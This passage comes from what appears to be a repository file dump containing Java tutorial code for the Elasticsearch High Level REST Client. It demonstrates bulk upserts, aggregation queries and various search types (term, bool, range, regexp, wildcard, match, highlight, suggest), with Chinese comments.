map.put(\"age\",i);\n            map.put(\"name\",\"虚无境\"+(i%3));\n            map.put(\"class\",i%10);\n            map.put(\"grade\",400+i);\n            map.put(\"createtm\",ldt.plusDays(i).format(DateTimeFormatter.ofPattern(\"yyyy-MM-dd\")));\n            map.put(\"updatetm\",ldt.plusDays(i).format(DateTimeFormatter.ofPattern(\"yyyy-MM-dd HH:mm:ss.SSS\")));\n            if(i==5){\n                map.put(\"updatetm\",\"2019-11-31 21:04:55.268\");\n            }\n            mapList.add(map);\n        }\n\n\n        for (int i = 0; i <mapList.size() ; i++) {\n            Map<String,Object> map = mapList.get(i);\n            String id = map.get(\"uid\").toString();\n            // 可以进行修改/删除/新增 操作\n            //docAsUpsert 为true表示存在更新，不存在插入，为false表示不存在就是不做更新\n            request.add(new UpdateRequest(index, type, id).doc(map, XContentType.JSON).docAsUpsert(true).retryOnConflict(5));\n        }\n\n        client.bulk(request, RequestOptions.DEFAULT);\n        System.out.println(\"批量执行成功！\");\n    }\n\n    /**\n     * @Author pancm\n     * @Description 多个聚合条件测试\n     * SQL: select age, name, count(*) as count1 from student group by age, name;\n     * @Date  2019/7/3\n     * @Param []\n     * @return void\n     **/\n    private static void groupbySearch() throws IOException{\n        String buk=\"group\";\n        AggregationBuilder aggregation = AggregationBuilders.terms(\"age\").field(\"age\");\n        AggregationBuilder aggregation2 = AggregationBuilders.terms(\"name\").field(\"name\");\n        //根据创建时间按天分组\n        AggregationBuilder aggregation3 = AggregationBuilders.dateHistogram(\"createtm\")\n                .field(\"createtm\")\n                .format(\"yyyy-MM-dd\")\n                .dateHistogramInterval(DateHistogramInterval.DAY);\n\n        aggregation2.subAggregation(aggregation3);\n        aggregation.subAggregation(aggregation2);\n        agg(aggregation,buk);\n    }\n\n    /**\n     * @Author pancm\n     * @Description 平均聚合查询测试用例\n     * @Date  2019/4/1\n     * @Param []\n     * @return void\n     **/\n    private static  void avgSearch() throws IOException {\n\n        String buk=\"t_grade_avg\";\n        //直接求平均数\n        AggregationBuilder aggregation = AggregationBuilders.avg(buk).field(\"grade\");\n        logger.info(\"求班级的平均分数:\");\n        agg(aggregation,buk);\n\n    }\n\n    private static  void maxSearch() throws  IOException{\n        String buk=\"t_grade\";\n        AggregationBuilder aggregation = AggregationBuilders.max(buk).field(\"grade\");\n        logger.info(\"求班级的最分数:\");\n        agg(aggregation,buk);\n    }\n\n    private static  void sumSearch() throws  IOException{\n        String buk=\"t_grade\";\n        AggregationBuilder aggregation = AggregationBuilders.sum(buk).field(\"grade\");\n        logger.info(\"求班级的总分数:\");\n        agg(aggregation,buk);\n    }\n\n    /**\n     * @Author pancm\n     * @Description 平均聚合查询测试用例\n     * @Date  2019/4/1\n     * @Param []\n     * @return void\n     **/\n    private static  void avgGroupSearch() throws IOException {\n\n\n        String agg=\"t_class_avg\";\n        String buk=\"t_grade\";\n        //terms 就是分组统计 根据student的grade成绩进行分组并创建一个新的聚合\n        TermsAggregationBuilder aggregation = AggregationBuilders.terms(agg).field(\"class\");\n        aggregation.subAggregation(AggregationBuilders.avg(buk).field(\"grade\"));\n\n        logger.info(\"根据班级求平均分数:\");\n        agg(aggregation,agg,buk);\n\n    }\n\n\n    private static  void maxGroupSearch() throws  IOException{\n\n        String agg=\"t_class_max\";\n        String buk=\"t_grade\";\n        //terms 就是分组统计 根据student的grade成绩进行分组并创建一个新的聚合\n        TermsAggregationBuilder aggregation = AggregationBuilders.terms(agg).field(\"class\");\n        aggregation.subAggregation(AggregationBuilders.max(buk).field(\"grade\"));\n        logger.info(\"根据班级求最大分数:\");\n        agg(aggregation,agg,buk);\n    }\n\n\n    private static  void sumGroupSearch() throws  IOException{\n        String agg=\"t_class_sum\";\n        String buk=\"t_grade\";\n        //terms 就是分组统计 根据student的grade成绩进行分组并创建一个新的聚合\n        TermsAggregationBuilder aggregation = AggregationBuilders.terms(agg).field(\"class\");\n        aggregation.subAggregation(AggregationBuilders.sum(buk).field(\"grade\"));\n\n        logger.info(\"根据班级求总分:\");\n        agg(aggregation,agg,buk);\n    }\n\n\n    protected  static  void agg(AggregationBuilder aggregation, String buk) throws  IOException{\n        SearchResponse searchResponse = search(aggregation);\n        if(RestStatus.OK.equals(searchResponse.status())) {\n            // 获取聚合结果\n            Aggregations aggregations = searchResponse.getAggregations();\n\n            if(buk.contains(\"avg\")){\n                //取子聚合\n                Avg ba = aggregations.get(buk);\n                logger.info(buk+\":\" + ba.getValue());\n                logger.info(\"------------------------------------\");\n            }else if(buk.contains(\"max\")){\n                //取子聚合\n                Max ba = aggregations.get(buk);\n                logger.info(buk+\":\" + ba.getValue());\n                logger.info(\"------------------------------------\");\n\n            }else if(buk.contains(\"min\")){\n                //取子聚合\n                Min ba = aggregations.get(buk);\n                logger.info(buk+\":\" + ba.getValue());\n                logger.info(\"------------------------------------\");\n            }else if(buk.contains(\"sum\")){\n                //取子聚合\n                Sum ba = aggregations.get(buk);\n                logger.info(buk+\":\" + ba.getValue());\n                logger.info(\"------------------------------------\");\n            }else if(buk.contains(\"top\")){\n                //取子聚合TopHits\n                TopHits ba = aggregations.get(buk);\n                logger.info(buk+\":\" + ba.getHits().totalHits);\n                logger.info(\"------------------------------------\");\n            }else if (buk.contains(\"group\")){\n               Map<String,Object> map =  new HashMap<>();\n                List<Map<String,Object>> list = new ArrayList<>();\n                agg(map,list,aggregations);\n                logger.info(\"聚合查询结果:\"+list);\n                logger.info(\"------------------------------------\");\n            }\n\n        }\n    }\n\n    private static void agg(Map<String,Object> map, List<Map<String,Object>> list, Aggregations aggregations) {\n        aggregations.forEach(aggregation -> {\n            String name = aggregation.getName();\n            Terms genders = aggregations.get(name);\n            for (Terms.Bucket entry : genders.getBuckets()) {\n                String key = entry.getKey().toString();\n                long t = entry.getDocCount();\n                map.put(name,key);\n                map.put(name+\"_\"+\"count\",t);\n\n                //判断里面是否还有嵌套的数据\n                List<Aggregation> list2 = entry.getAggregations().asList();\n                if (list2.isEmpty()) {\n                    Map<String,Object> map2 = new HashMap<>();\n                    BeanUtils.copyProperties(map,map2);\n                    list.add(map2);\n                }else{\n                    agg(map, list, entry.getAggregations());\n                }\n            }\n        });\n    }\n\n\n\n    private static SearchResponse search(AggregationBuilder aggregation) throws IOException {\n        SearchRequest searchRequest = new SearchRequest();\n        searchRequest.indices(\"student\");\n        searchRequest.types(\"_doc\");\n        SearchSourceBuilder searchSourceBuilder = new SearchSourceBuilder();\n        //不需要解释\n        searchSourceBuilder.explain(false);\n        //不需要原始数据\n        searchSourceBuilder.fetchSource(false);\n        //不需要版本号\n        searchSourceBuilder.version(false);\n        searchSourceBuilder.aggregation(aggregation);\n        logger.info(\"查询的语句:\"+searchSourceBuilder.toString());\n        searchRequest.source(searchSourceBuilder);\n        // 同步查询\n        SearchResponse searchResponse = client.search(searchRequest, RequestOptions.DEFAULT);\n        return  searchResponse;\n    }\n\n    /**\n     * @Author pancm\n     * @Description 进行聚合\n     * @Date  2019/4/2\n     * @Param []\n     * @return void\n     **/\n    protected  static  void agg(AggregationBuilder aggregation, String agg, String buk) throws  IOException{\n\n        // 同步查询\n        SearchResponse searchResponse = search(aggregation);\n\n        //4、处理响应\n        //搜索结果状态信息\n        if(RestStatus.OK.equals(searchResponse.status())) {\n            // 获取聚合结果\n            Aggregations aggregations = searchResponse.getAggregations();\n\n\n            //分组\n            Terms byAgeAggregation = aggregations.get(agg);\n            logger.info(agg+\" 结果\");\n            logger.info(\"name: \" + byAgeAggregation.getName());\n            logger.info(\"type: \" + byAgeAggregation.getType());\n            logger.info(\"sumOfOtherDocCounts: \" + byAgeAggregation.getSumOfOtherDocCounts());\n\n            logger.info(\"------------------------------------\");\n            for(Terms.Bucket buck : byAgeAggregation.getBuckets()) {\n                logger.info(\"key: \" + buck.getKeyAsNumber());\n                logger.info(\"docCount: \" + buck.getDocCount());\n                logger.info(\"docCountError: \" + buck.getDocCountError());\n\n\n                if(agg.contains(\"avg\")){\n                    //取子聚合\n                    Avg ba = buck.getAggregations().get(buk);\n                    logger.info(buk+\":\" + ba.getValue());\n                    logger.info(\"------------------------------------\");\n                }else if(agg.contains(\"max\")){\n                    //取子聚合\n                    Max ba = buck.getAggregations().get(buk);\n                    logger.info(buk+\":\" + ba.getValue());\n                    logger.info(\"------------------------------------\");\n\n                }else if(agg.contains(\"min\")){\n                    //取子聚合\n                    Min ba = buck.getAggregations().get(buk);\n                    logger.info(buk+\":\" + ba.getValue());\n                    logger.info(\"------------------------------------\");\n                }else if(agg.contains(\"sum\")){\n                    //取子聚合\n                    Sum ba = buck.getAggregations().get(buk);\n                    logger.info(buk+\":\" + ba.getValue());\n                    logger.info(\"------------------------------------\");\n                }\n            }\n        }\n    }\n\n    private static  void topSearch() throws  IOException{\n\n\n    }\n\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/elasticsearch/EsHighLevelRestSearchTest.java",
    "content": "package com.jun.plugin.elasticsearch;\n\nimport org.apache.http.HttpHost;\nimport org.elasticsearch.action.search.SearchRequest;\nimport org.elasticsearch.action.search.SearchResponse;\nimport org.elasticsearch.action.search.ShardSearchFailure;\nimport org.elasticsearch.action.support.IndicesOptions;\nimport org.elasticsearch.client.RequestOptions;\nimport org.elasticsearch.client.RestClient;\nimport org.elasticsearch.client.RestClientBuilder;\nimport org.elasticsearch.client.RestHighLevelClient;\nimport org.elasticsearch.common.unit.Fuzziness;\nimport org.elasticsearch.common.unit.TimeValue;\nimport org.elasticsearch.index.query.BoolQueryBuilder;\nimport org.elasticsearch.index.query.MatchQueryBuilder;\nimport org.elasticsearch.index.query.QueryBuilders;\nimport org.elasticsearch.rest.RestStatus;\nimport org.elasticsearch.search.SearchHits;\nimport org.elasticsearch.search.aggregations.Aggregation;\nimport org.elasticsearch.search.aggregations.AggregationBuilders;\nimport org.elasticsearch.search.aggregations.Aggregations;\nimport org.elasticsearch.search.aggregations.bucket.terms.Terms;\nimport org.elasticsearch.search.aggregations.bucket.terms.Terms.Bucket;\nimport org.elasticsearch.search.aggregations.bucket.terms.TermsAggregationBuilder;\nimport org.elasticsearch.search.aggregations.metrics.avg.Avg;\nimport org.elasticsearch.search.builder.SearchSourceBuilder;\nimport org.elasticsearch.search.fetch.subphase.highlight.HighlightBuilder;\nimport org.elasticsearch.search.suggest.Suggest;\nimport org.elasticsearch.search.suggest.SuggestBuilder;\nimport org.elasticsearch.search.suggest.SuggestBuilders;\nimport org.elasticsearch.search.suggest.SuggestionBuilder;\nimport org.elasticsearch.search.suggest.term.TermSuggestion;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.io.IOException;\nimport java.util.Map;\nimport java.util.concurrent.TimeUnit;\n\n\n/**\n * @author pancm\n * @Title: EsHighLevelRestSearchTest\n * @Description: Java High Level REST Client Es高级客户端查询使用使用教程 (Search查询使用教程)\n * 官方文档地址:\n * https://www.elastic.co/guide/en/elasticsearch/client/java-rest/current/java-rest-high.html\n * @Version:1.0.0\n * @date 2019年3月12日\n */\npublic class EsHighLevelRestSearchTest {\n\n    private static String elasticIp = \"192.169.0.23\";\n    private static int elasticPort = 9200;\n    private static Logger logger = LoggerFactory.getLogger(EsHighLevelRestSearchTest.class);\n\n    private static RestHighLevelClient client = null;\n\n    /**\n     * @param args\n     */\n    public static void main(String[] args) {\n\n        try {\n            init();\n            allSearch();\n            //普通查询\n            genSearch();\n            orSearch();\n            likeSearch();\n//            inSearch();\n            existSearch();\n            rangeSearch();\n            regexpSearch();\n            boolSearch();\n//\t\t\tsearch();\n//\t\t\tsearch2();\n\n        } catch (Exception e) {\n            e.printStackTrace();\n        } finally {\n            close();\n        }\n\n        /**\n         * test1\n         *{\n         *     \"settings\" : {\n         *         \"number_of_shards\" : 10,\n         *          \"refresh_interval\" : \"1s\"\n         *     },\n         *     \"mappings\" : {\n         *         \"_doc\" : {\n         *             \"properties\" : {\n         *                 \"uid\" : { \"type\" : \"long\" },\n         *                 \"phone\" : { \"type\" : \"long\" },\n         *                 \"userid\" : { \"type\" : \"keyword\" },\n         *\n         *                 \"message\" : { \"type\" : \"keyword\" },\n         *                 \"msgcode\" : { \"type\" : \"long\" },\n         *                 \"price\" : { \"type\" : \"double\",\"index\": \"false\" },\n         *              \"sendtime\" : {\n         *                   \"type\" : \"date\",\n         *                   \"format\" : \"yyyy-MM-dd HH:mm:ss.SSS\"\n         *               },\n         *              \"sendtime2\" : {\n         *                   \"type\" : \"date\",\n         *                   \"format\" : \"yyyy-MM-dd HH:mm:ss.SSS\"\n         *               },\n         *                 \"sendtm\" : { \"type\" : \"long\" },\n         *                   \"sendtm2\" : { \"type\" : \"long\" }\n         *             }\n         *         }\n         *     }\n         * }\n         */\n\n    }\n\n\n    /**\n     * @Author pancm\n     * @Description  组合查询\n     * @Date  2019/9/30\n     * @Param []\n     * @return void\n     **/\n    private static void boolSearch() throws IOException{\n        String type = \"_doc\";\n        String index = \"test1\";\n        // 查询指定的索引库\n        SearchRequest searchRequest = new SearchRequest(index);\n        searchRequest.types(type);\n        SearchSourceBuilder sourceBuilder = new SearchSourceBuilder();\n        BoolQueryBuilder boolQueryBuilder = new BoolQueryBuilder();\n        boolQueryBuilder.must(QueryBuilders.termQuery(\"uid\",12345));\n        boolQueryBuilder.must(QueryBuilders.termQuery(\"msgcode\",1));\n        // 设置查询条件\n        sourceBuilder.query(boolQueryBuilder);\n        searchRequest.source(sourceBuilder);\n        System.out.println(\"组合查询的DSL语句:\"+sourceBuilder.toString());\n        // 同步查询\n        SearchResponse searchResponse = client.search(searchRequest, RequestOptions.DEFAULT);\n        // 结果\n        searchResponse.getHits().forEach(hit -> {\n            String string = hit.getSourceAsString();\n            System.out.println(\"组合查询的String结果:\" + string);\n        });\n        System.out.println(\"\\n=================\\n\");\n    }\n\n    /**\n     * @Author pancm\n     * @Description  正则查询\n     * @Date  2019/9/30\n     * @Param []\n     * @return void\n     **/\n    private static void regexpSearch() throws IOException{\n        String type = \"_doc\";\n        String index = \"test1\";\n        // 查询指定的索引库\n        SearchRequest searchRequest = new SearchRequest(index);\n        searchRequest.types(type);\n        SearchSourceBuilder sourceBuilder = new SearchSourceBuilder();\n        // 设置查询条件\n        sourceBuilder.query(QueryBuilders.regexpQuery(\"message\",\"xu[0-9]\"));\n        searchRequest.source(sourceBuilder);\n        System.out.println(\"正则查询的DSL语句:\"+sourceBuilder.toString());\n        // 同步查询\n        SearchResponse searchResponse = client.search(searchRequest, RequestOptions.DEFAULT);\n        // 结果\n        searchResponse.getHits().forEach(hit -> {\n            Map<String, Object> map = hit.getSourceAsMap();\n            String string = hit.getSourceAsString();\n            System.out.println(\"正则查询的Map结果:\" + map);\n            System.out.println(\"正则查询的String结果:\" + string);\n        });\n\n        System.out.println(\"\\n=================\\n\");\n    }\n\n    /**\n     * @Author pancm\n     * @Description  范围查询\n     * @Date  2019/9/30\n     * @Param []\n     * @return void\n     **/\n    private static void rangeSearch() throws IOException{\n        String type = \"_doc\";\n        String index = \"test1\";\n        SearchRequest searchRequest = new SearchRequest(index);\n        searchRequest.types(type);\n        SearchSourceBuilder sourceBuilder = new SearchSourceBuilder();\n\n        // 设置查询条件\n        sourceBuilder.query(QueryBuilders.rangeQuery(\"sendtime\").gte(\"2019-01-01 00:00:00\").lte(\"2019-12-31 23:59:59\"));\n        searchRequest.source(sourceBuilder);\n        System.out.println(\"范围查询的DSL语句:\"+sourceBuilder.toString());\n        // 同步查询\n        SearchResponse searchResponse = client.search(searchRequest, RequestOptions.DEFAULT);\n        // 结果\n        searchResponse.getHits().forEach(hit -> {\n            String string = hit.getSourceAsString();\n            System.out.println(\"范围查询的String结果:\" + string);\n        });\n        System.out.println(\"\\n=================\\n\");\n    }\n\n    /**\n     * @return void\n     * @Author pancm\n     * @Description exist查询\n     * @Date 2019/9/17\n     * @Param []\n     **/\n    private static void existSearch() throws IOException {\n        String type = \"_doc\";\n        String index = \"test1\";\n        // 查询指定的索引库\n        SearchRequest searchRequest = new SearchRequest(index);\n        searchRequest.types(type);\n        SearchSourceBuilder sourceBuilder = new SearchSourceBuilder();\n\n        // 设置查询条件\n        sourceBuilder.query(QueryBuilders.existsQuery(\"msgcode\"));\n        searchRequest.source(sourceBuilder);\n        System.out.println(\"存在查询的DSL语句:\"+sourceBuilder.toString());\n        // 同步查询\n        SearchResponse searchResponse = client.search(searchRequest, RequestOptions.DEFAULT);\n        // 结果\n        searchResponse.getHits().forEach(hit -> {\n            Map<String, Object> map = hit.getSourceAsMap();\n            String string = hit.getSourceAsString();\n            System.out.println(\"存在查询的Map结果:\" + map);\n            System.out.println(\"存在查询的String结果:\" + string);\n        });\n        System.out.println(\"\\n=================\\n\");\n    }\n\n    /**\n     * @return void\n     * @Author pancm\n     * @Description in查询\n     * @Date 2019/9/16\n     * @Param []\n     **/\n    private static void inSearch() throws IOException {\n        String type = \"_doc\";\n        String index = \"test1\";\n        // 查询指定的索引库\n        SearchRequest searchRequest = new SearchRequest(index,type);\n        SearchSourceBuilder sourceBuilder = new SearchSourceBuilder();\n        /**\n         *  SELECT * FROM p_test where uid in (1,2)\n         * */\n        // 设置查询条件\n//        sourceBuilder.query(QueryBuilders.termsQuery(\"uid\", 1, 2));\n        searchRequest.source(sourceBuilder);\n        System.out.println(\"in查询的DSL语句:\"+sourceBuilder.toString());\n        // 同步查询\n        SearchResponse searchResponse = client.search(searchRequest, RequestOptions.DEFAULT);\n        // 结果\n        searchResponse.getHits().forEach(hit -> {\n            Map<String, Object> map = hit.getSourceAsMap();\n            String string = hit.getSourceAsString();\n            System.out.println(\"in查询的Map结果:\" + map);\n            System.out.println(\"in查询的String结果:\" + string);\n        });\n\n        System.out.println(\"\\n=================\\n\");\n    }\n\n    /**\n     * @return void\n     * @Author pancm\n     * @Description 模糊查询\n     * @Date 2019/9/12\n     * @Param []\n     **/\n    private static void likeSearch() throws IOException {\n        String type = \"_doc\";\n        String index = \"test1\";\n        SearchRequest searchRequest = new SearchRequest();\n        searchRequest.indices(index);\n        searchRequest.types(type);\n        SearchSourceBuilder searchSourceBuilder = new SearchSourceBuilder();\n        BoolQueryBuilder boolQueryBuilder = new BoolQueryBuilder();\n        /**\n         *  SELECT * FROM p_test where  message like '%xu%';\n         * */\n        boolQueryBuilder.must(QueryBuilders.wildcardQuery(\"message\", \"*xu*\"));\n        searchSourceBuilder.query(boolQueryBuilder);\n        System.out.println(\"模糊查询语句:\" + searchSourceBuilder.toString());\n        searchRequest.source(searchSourceBuilder);\n        // 同步查询\n        SearchResponse searchResponse = client.search(searchRequest, RequestOptions.DEFAULT);\n        searchResponse.getHits().forEach(documentFields -> {\n            System.out.println(\"模糊查询结果:\" + documentFields.getSourceAsMap());\n        });\n        System.out.println(\"\\n=================\\n\");\n    }\n\n\n    /**\n     * @return void\n     * @Author pancm\n     * @Description 普通查询\n     * @Date 2019/9/12\n     * @Param []\n     **/\n    private static void genSearch() throws IOException {\n        String type = \"_doc\";\n        String index = \"test1\";\n        // 查询指定的索引库\n        SearchRequest searchRequest = new SearchRequest(index);\n        searchRequest.types(type);\n        SearchSourceBuilder sourceBuilder = new SearchSourceBuilder();\n        // 设置查询条件\n        sourceBuilder.query(QueryBuilders.termQuery(\"uid\", \"1234\"));\n        // 设置起止和结束\n        sourceBuilder.from(0);\n        sourceBuilder.size(5);\n        sourceBuilder.timeout(new TimeValue(60, TimeUnit.SECONDS));\n        // 设置路由\n//\t\tsearchRequest.routing(\"routing\");\n        // 设置索引库表达式\n        searchRequest.indicesOptions(IndicesOptions.lenientExpandOpen());\n        // 查询选择本地分片，默认是集群分片\n        searchRequest.preference(\"_local\");\n\n        // 排序\n        // 根据默认值进行降序排序\n//\t\tsourceBuilder.sort(new ScoreSortBuilder().order(SortOrder.DESC));\n        // 根据字段进行升序排序\n//\t\tsourceBuilder.sort(new FieldSortBuilder(\"id\").order(SortOrder.ASC));\n\n        // 关闭suorce查询\n//\t\tsourceBuilder.fetchSource(false);\n\n        String[] includeFields = new String[]{\"title\", \"user\", \"innerObject.*\"};\n        String[] excludeFields = new String[]{\"_type\"};\n        // 包含或排除字段\n//\t\tsourceBuilder.fetchSource(includeFields, excludeFields);\n\n        searchRequest.source(sourceBuilder);\n        System.out.println(\"普通查询的DSL语句:\"+sourceBuilder.toString());\n        // 同步查询\n        SearchResponse searchResponse = client.search(searchRequest, RequestOptions.DEFAULT);\n\n        // HTTP状态代码、执行时间或请求是否提前终止或超时\n        RestStatus status = searchResponse.status();\n        TimeValue took = searchResponse.getTook();\n        Boolean terminatedEarly = searchResponse.isTerminatedEarly();\n        boolean timedOut = searchResponse.isTimedOut();\n\n        // 供关于受搜索影响的切分总数的统计信息，以及成功和失败的切分\n        int totalShards = searchResponse.getTotalShards();\n        int successfulShards = searchResponse.getSuccessfulShards();\n        int failedShards = searchResponse.getFailedShards();\n        // 失败的原因\n        for (ShardSearchFailure failure : searchResponse.getShardFailures()) {\n            // failures should be handled here\n        }\n        // 结果\n        searchResponse.getHits().forEach(hit -> {\n            Map<String, Object> map = hit.getSourceAsMap();\n            System.out.println(\"普通查询的结果:\" + map);\n        });\n        System.out.println(\"\\n=================\\n\");\n    }\n\n    private static void allSearch() throws IOException {\n        /*\n         * 查询集群所有的索引\n         *\n         */\n        SearchRequest searchRequestAll = new SearchRequest();\n        SearchSourceBuilder searchSourceBuilder = new SearchSourceBuilder();\n        searchSourceBuilder.query(QueryBuilders.matchAllQuery());\n        searchRequestAll.source(searchSourceBuilder);\n        // 同步查询\n        SearchResponse searchResponseAll = client.search(searchRequestAll, RequestOptions.DEFAULT);\n        System.out.println(\"所有查询总数:\" + searchResponseAll.getHits().getTotalHits());\n    }\n\n    /**\n     * @return void\n     * @Author pancm\n     * @Description 或查询\n     * @Date 2019/9/6\n     * @Param []\n     **/\n    private static void orSearch() throws IOException {\n        SearchRequest searchRequest = new SearchRequest();\n        searchRequest.indices(\"test1\");\n        searchRequest.types(\"_doc\");\n        SearchSourceBuilder searchSourceBuilder = new SearchSourceBuilder();\n        BoolQueryBuilder boolQueryBuilder = new BoolQueryBuilder();\n        BoolQueryBuilder boolQueryBuilder2 = new BoolQueryBuilder();\n        /**\n         *  SELECT * FROM test1 where (uid = 1234 or uid =12345)  and phone = 12345678909\n         * */\n        boolQueryBuilder2.should(QueryBuilders.termQuery(\"uid\", 1234));\n        boolQueryBuilder2.should(QueryBuilders.termQuery(\"uid\", 12345));\n        boolQueryBuilder.must(boolQueryBuilder2);\n        boolQueryBuilder.must(QueryBuilders.termQuery(\"phone\", \"12345678909\"));\n        searchSourceBuilder.query(boolQueryBuilder);\n        System.out.println(\"或查询语句:\" + searchSourceBuilder.toString());\n        searchRequest.source(searchSourceBuilder);\n        // 同步查询\n        SearchResponse searchResponse = client.search(searchRequest, RequestOptions.DEFAULT);\n        searchResponse.getHits().forEach(documentFields -> {\n            System.out.println(\"或查询结果:\" + documentFields.getSourceAsMap());\n        });\n        System.out.println(\"\\n=================\\n\");\n    }\n\n    /*\n     * 初始化服务\n     */\n    private static void init() {\n        RestClientBuilder restClientBuilder = RestClient.builder(new HttpHost(elasticIp, elasticPort));\n        client = new RestHighLevelClient(restClientBuilder);\n\n    }\n\n    /*\n     * 关闭服务\n     */\n    private static void close() {\n        if (client != null) {\n            try {\n                client.close();\n            } catch (IOException e) {\n                e.printStackTrace();\n            } finally {\n                client = null;\n            }\n        }\n    }\n\n\n    /**\n     * search查询使用示例\n     *\n     * @throws IOException\n     */\n    private static void search() throws IOException {\n\n\n\n        /*\n         * 全文查询使用示例\n         */\n        // 查询指定的索引库\n        SearchRequest searchRequest = new SearchRequest(\"user\");\n        SearchSourceBuilder sourceBuilder = new SearchSourceBuilder();\n        // 搜索字段user为pancm的数据\n        MatchQueryBuilder matchQueryBuilder = new MatchQueryBuilder(\"user\", \"pancm\");\n\n        // 设置模糊查询\n        matchQueryBuilder.fuzziness(Fuzziness.AUTO);\n        // 设置前缀长度\n        matchQueryBuilder.prefixLength(3);\n        // 设置最大扩展选项来控制查询的模糊过程\n        matchQueryBuilder.maxExpansions(10);\n\n        /*\n         * QueryBuilder也可以\n         */\n\n//\t\tQueryBuilder matchQueryBuilder = QueryBuilders.matchQuery(\"user\", \"kimchy\")\n//                .fuzziness(Fuzziness.AUTO)\n//                .prefixLength(3)\n//                .maxExpansions(10);\n\n        SearchSourceBuilder searchSourceBuilder2 = new SearchSourceBuilder();\n        searchSourceBuilder2.query(matchQueryBuilder);\n\n        SearchRequest searchRequest2 = new SearchRequest();\n        searchRequest2.source(searchSourceBuilder2);\n        // 同步查询\n        SearchResponse searchResponse2 = client.search(searchRequest, RequestOptions.DEFAULT);\n\n        SearchHits hits = searchResponse2.getHits();\n        //总条数和分值\n        long totalHits = hits.getTotalHits();\n        float maxScore = hits.getMaxScore();\n\n\n        hits.forEach(hit -> {\n\n            String index = hit.getIndex();\n            String type = hit.getType();\n            String id = hit.getId();\n            float score = hit.getScore();\n\n\n            Map<String, Object> sourceAsMap = hit.getSourceAsMap();\n            String string = hit.getSourceAsString();\n            System.out.println(\"Match查询的Map结果:\" + sourceAsMap);\n            System.out.println(\"Match查询的String结果:\" + string);\n\n            String documentTitle = (String) sourceAsMap.get(\"title\");\n//\t\t\tList<Object> users = (List<Object>) sourceAsMap.get(\"user\");\n            Map<String, Object> innerObject =\n                    (Map<String, Object>) sourceAsMap.get(\"innerObject\");\n        });\n\n\n        System.out.println(\"\\n=================\\n\");\n\n        /*\n         * 高亮查询\n         */\n\n        SearchSourceBuilder searchSourceBuilder3 = new SearchSourceBuilder();\n        HighlightBuilder highlightBuilder = new HighlightBuilder();\n        HighlightBuilder.Field highlightTitle = new HighlightBuilder.Field(\"title\");\n        // 设置字段高亮字体\n        highlightTitle.highlighterType(\"user\");\n        highlightBuilder.field(highlightTitle);\n        HighlightBuilder.Field highlightUser = new HighlightBuilder.Field(\"user\");\n        highlightBuilder.field(highlightUser);\n        searchSourceBuilder3.highlighter(highlightBuilder);\n\n        SearchRequest searchRequest3 = new SearchRequest();\n        searchRequest3.source(searchSourceBuilder3);\n\n        // 同步查询\n        SearchResponse searchResponse3 = client.search(searchRequest3, RequestOptions.DEFAULT);\n\n        searchResponse3.getHits().forEach(hit -> {\n\n            Map<String, Object> map = hit.getSourceAsMap();\n            String string = hit.getSourceAsString();\n            System.out.println(\"Highlight查询的Map结果:\" + map);\n            System.out.println(\"Highlight查询的String结果:\" + string);\n        });\n\n        System.out.println(\"\\n=================\\n\");\n\n        /**\n         * 聚合查询\n         */\n\n        SearchSourceBuilder searchSourceBuilder4 = new SearchSourceBuilder();\n\n        //terms 就是分组统计 根据user进行分组并创建一个新的聚合user_\n        TermsAggregationBuilder aggregation = AggregationBuilders.terms(\"user_\").field(\"user\");\n        aggregation.subAggregation(AggregationBuilders.avg(\"average_age\").field(\"age\"));\n        searchSourceBuilder4.aggregation(aggregation);\n\n        SearchRequest searchRequest4 = new SearchRequest();\n        searchRequest4.source(searchSourceBuilder4);\n\n        // 同步查询\n        SearchResponse searchResponse4 = client.search(searchRequest4, RequestOptions.DEFAULT);\n        //聚合查询返回条件\n        Aggregations aggregations = searchResponse4.getAggregations();\n        System.out.println(\"聚合查询\");\n        for (Aggregation agg : aggregations) {\n            String type = agg.getType();\n            String name = agg.getName();\n\n            Terms terms = (Terms) aggregations.get(name);\n            for (Bucket bucket : terms.getBuckets()) {\n                System.out.println(\"条数:\" + bucket.getDocCount());\n                System.out.println(\"key:\" + bucket.getKey());\n                System.out.println(\"num:\" + bucket.getKeyAsNumber());\n                Avg avg = bucket.getAggregations().get(\"average_age\");\n                System.out.println(\"value:\" + avg.getValue());\n            }\n            if (type.equals(TermsAggregationBuilder.NAME)) {\n                Bucket elasticBucket = ((Terms) agg).getBucketByKey(\"average_age\");\n                long numberOfDocs = elasticBucket.getDocCount();\n                System.out.println(\"条数:\" + numberOfDocs);\n            }\n        }\n\n\n\n\n\n        /*\n         * 建议查询\n         */\n        SearchSourceBuilder searchSourceBuilder5 = new SearchSourceBuilder();\n        SuggestionBuilder termSuggestionBuilder = SuggestBuilders.termSuggestion(\"user\").text(\"pancm\");\n        SuggestBuilder suggestBuilder = new SuggestBuilder();\n        suggestBuilder.addSuggestion(\"suggest_user\", termSuggestionBuilder);\n        searchSourceBuilder5.suggest(suggestBuilder);\n\n        SearchRequest searchRequest5 = new SearchRequest();\n        searchRequest5.source(searchSourceBuilder5);\n\n        // 同步查询\n        SearchResponse searchResponse5 = client.search(searchRequest5, RequestOptions.DEFAULT);\n\n        Suggest suggest = searchResponse5.getSuggest();\n        TermSuggestion termSuggestion = suggest.getSuggestion(\"suggest_user\");\n        for (TermSuggestion.Entry entry : termSuggestion.getEntries()) {\n            for (TermSuggestion.Entry.Option option : entry) {\n                String suggestText = option.getText().string();\n                System.out.println(\"返回结果:\" + suggestText);\n            }\n        }\n\n    }\n\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/elasticsearch/EsHighLevelRestTest1.java",
